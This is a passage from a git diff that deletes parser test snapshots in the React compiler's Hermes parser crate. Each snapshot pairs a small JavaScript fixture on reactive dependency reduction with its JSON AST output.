-                332,
-                360
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              316,
-              360
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                370,
-                371
-              ]
-            },
-            "loc": null,
-            "range": [
-              363,
-              372
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          275,
-          374
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        209,
-        374
-      ],
-      "loc": null,
-      "range": [
-        209,
-        374
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    209,
-    374
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-subpath-order1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-subpath-order1.js.snap
deleted file mode 100644
index 7821485b3e8b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-subpath-order1.js.snap
+++ /dev/null
@@ -1,366 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order1.js
----
-Input:
-// When a conditional dependency `props.a` is a subpath of an unconditional
-// dependency `props.a.b`, we can access `props.a` while preserving program
-// semantics (with respect to nullthrows).
-// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
-// ordering of accesses should not matter
-function TestConditionalSubpath1(props, other) {
-  const x = {};
-  x.b = props.a.b;
-  if (foo(other)) {
-    x.a = props.a;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestConditionalSubpath1",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          317,
-          340
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            341,
-            346
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            348,
-            353
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    365,
-                    366
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    369,
-                    371
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  365,
-                  371
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              359,
-              372
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    375,
-                    376
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    377,
-                    378
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  375,
-                  378
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      381,
-                      386
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      387,
-                      388
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    381,
-                    388
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    389,
-                    390
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  381,
-                  390
-                ]
-              },
-              "loc": null,
-              "range": [
-                375,
-                390
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              375,
-              391
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  398,
-                  401
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    402,
-                    407
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                398,
-                408
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          416,
-                          417
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          418,
-                          419
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        416,
-                        419
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          422,
-                          427
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          428,
-                          429
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        422,
-                        429
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      416,
-                      429
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    416,
-                    430
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                410,
-                434
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              394,
-              434
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                444,
-                445
-              ]
-            },
-            "loc": null,
-            "range": [
-              437,
-              446
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          355,
-          448
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        308,
-        448
-      ],
-      "loc": null,
-      "range": [
-        308,
-        448
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    308,
-    448
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-subpath-order2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-subpath-order2.js.snap
deleted file mode 100644
index 71daf0b9b76b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-subpath-order2.js.snap
+++ /dev/null
@@ -1,366 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-subpath-order2.js
----
-Input:
-// When a conditional dependency `props.a` is a subpath of an unconditional
-// dependency `props.a.b`, we can access `props.a` while preserving program
-// semantics (with respect to nullthrows).
-// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
-// ordering of accesses should not matter
-function TestConditionalSubpath2(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.a = props.a;
-  }
-  x.b = props.a.b;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestConditionalSubpath2",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          317,
-          340
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            341,
-            346
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            348,
-            353
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    365,
-                    366
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    369,
-                    371
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  365,
-                  371
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              359,
-              372
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  379,
-                  382
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    383,
-                    388
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                379,
-                389
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          397,
-                          398
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          399,
-                          400
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        397,
-                        400
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          403,
-                          408
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          409,
-                          410
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        403,
-                        410
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      397,
-                      410
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    397,
-                    411
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                391,
-                415
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              375,
-              415
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    418,
-                    419
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    420,
-                    421
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  418,
-                  421
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      424,
-                      429
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      430,
-                      431
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    424,
-                    431
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    432,
-                    433
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  424,
-                  433
-                ]
-              },
-              "loc": null,
-              "range": [
-                418,
-                433
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              418,
-              434
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                444,
-                445
-              ]
-            },
-            "loc": null,
-            "range": [
-              437,
-              446
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          355,
-          448
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        308,
-        448
-      ],
-      "loc": null,
-      "range": [
-        308,
-        448
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    308,
-    448
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-superpath-order1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-superpath-order1.js.snap
deleted file mode 100644
index 7ddd14bfc9a9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-superpath-order1.js.snap
+++ /dev/null
@@ -1,365 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order1.js
----
-Input:
-// When an unconditional dependency `props.a` is the subpath of a conditional
-// dependency `props.a.b`, we can safely overestimate and only track `props.a`
-// as a dependency
-// ordering of accesses should not matter
-function TestConditionalSuperpath1(props, other) {
-  const x = {};
-  x.a = props.a;
-  if (foo(other)) {
-    x.b = props.a.b;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestConditionalSuperpath1",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          227,
-          252
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            253,
-            258
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            260,
-            265
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    277,
-                    278
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    281,
-                    283
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  277,
-                  283
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              271,
-              284
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    287,
-                    288
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    289,
-                    290
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  287,
-                  290
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    293,
-                    298
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    299,
-                    300
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  293,
-                  300
-                ]
-              },
-              "loc": null,
-              "range": [
-                287,
-                300
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              287,
-              301
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  308,
-                  311
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    312,
-                    317
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                308,
-                318
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          326,
-                          327
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          328,
-                          329
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        326,
-                        329
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            332,
-                            337
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            338,
-                            339
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          332,
-                          339
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          340,
-                          341
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        332,
-                        341
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      326,
-                      341
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    326,
-                    342
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                320,
-                346
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              304,
-              346
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                356,
-                357
-              ]
-            },
-            "loc": null,
-            "range": [
-              349,
-              358
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          267,
-          360
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        218,
-        360
-      ],
-      "loc": null,
-      "range": [
-        218,
-        360
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    218,
-    360
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-superpath-order2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-superpath-order2.js.snap
deleted file mode 100644
index 5a37ad67d5a0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-superpath-order2.js.snap
+++ /dev/null
@@ -1,365 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-superpath-order2.js
----
-Input:
-// When an unconditional dependency `props.a` is the subpath of a conditional
-// dependency `props.a.b`, we can safely overestimate and only track `props.a`
-// as a dependency
-// ordering of accesses should not matter
-function TestConditionalSuperpath2(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.b = props.a.b;
-  }
-  x.a = props.a;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestConditionalSuperpath2",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          227,
-          252
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            253,
-            258
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            260,
-            265
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    277,
-                    278
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    281,
-                    283
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  277,
-                  283
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              271,
-              284
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  291,
-                  294
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    295,
-                    300
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                291,
-                301
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          309,
-                          310
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          311,
-                          312
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        309,
-                        312
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            315,
-                            320
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            321,
-                            322
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          315,
-                          322
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          323,
-                          324
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        315,
-                        324
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      309,
-                      324
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    309,
-                    325
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                303,
-                329
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              287,
-              329
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    332,
-                    333
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    334,
-                    335
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  332,
-                  335
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    338,
-                    343
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    344,
-                    345
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  338,
-                  345
-                ]
-              },
-              "loc": null,
-              "range": [
-                332,
-                345
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              332,
-              346
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                356,
-                357
-              ]
-            },
-            "loc": null,
-            "range": [
-              349,
-              358
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          267,
-          360
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        218,
-        360
-      ],
-      "loc": null,
-      "range": [
-        218,
-        360
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    218,
-    360
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-memberexpr-join.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-memberexpr-join.js.snap
deleted file mode 100644
index 09bca921d6ad..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-memberexpr-join.js.snap
+++ /dev/null
@@ -1,352 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-memberexpr-join.js
----
-Input:
-// To preserve the nullthrows behavior and reactive deps of this code,
-// Forget needs to add `props.a.b` or a subpath as a dependency.
-//
-// (1) Since the reactive block producing x unconditionally read props.a.<...>,
-//     reading `props.a.b` outside of the block would still preserve nullthrows
-//     semantics of source code
-// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.
-//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,
-//     not its actual value. Since we already preserve nullthrows on `props.a`,
-//     we technically do not need to add `props.a` as a dependency.
-
-function Component(props) {
-  let x = [];
-  x.push(props.a?.b);
-  x.push(props.a.b.c);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          648,
-          657
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            658,
-            663
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    673,
-                    674
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    677,
-                    679
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  673,
-                  679
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              669,
-              680
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    683,
-                    684
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    685,
-                    689
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  683,
-                  689
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        690,
-                        695
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        696,
-                        697
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      690,
-                      697
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
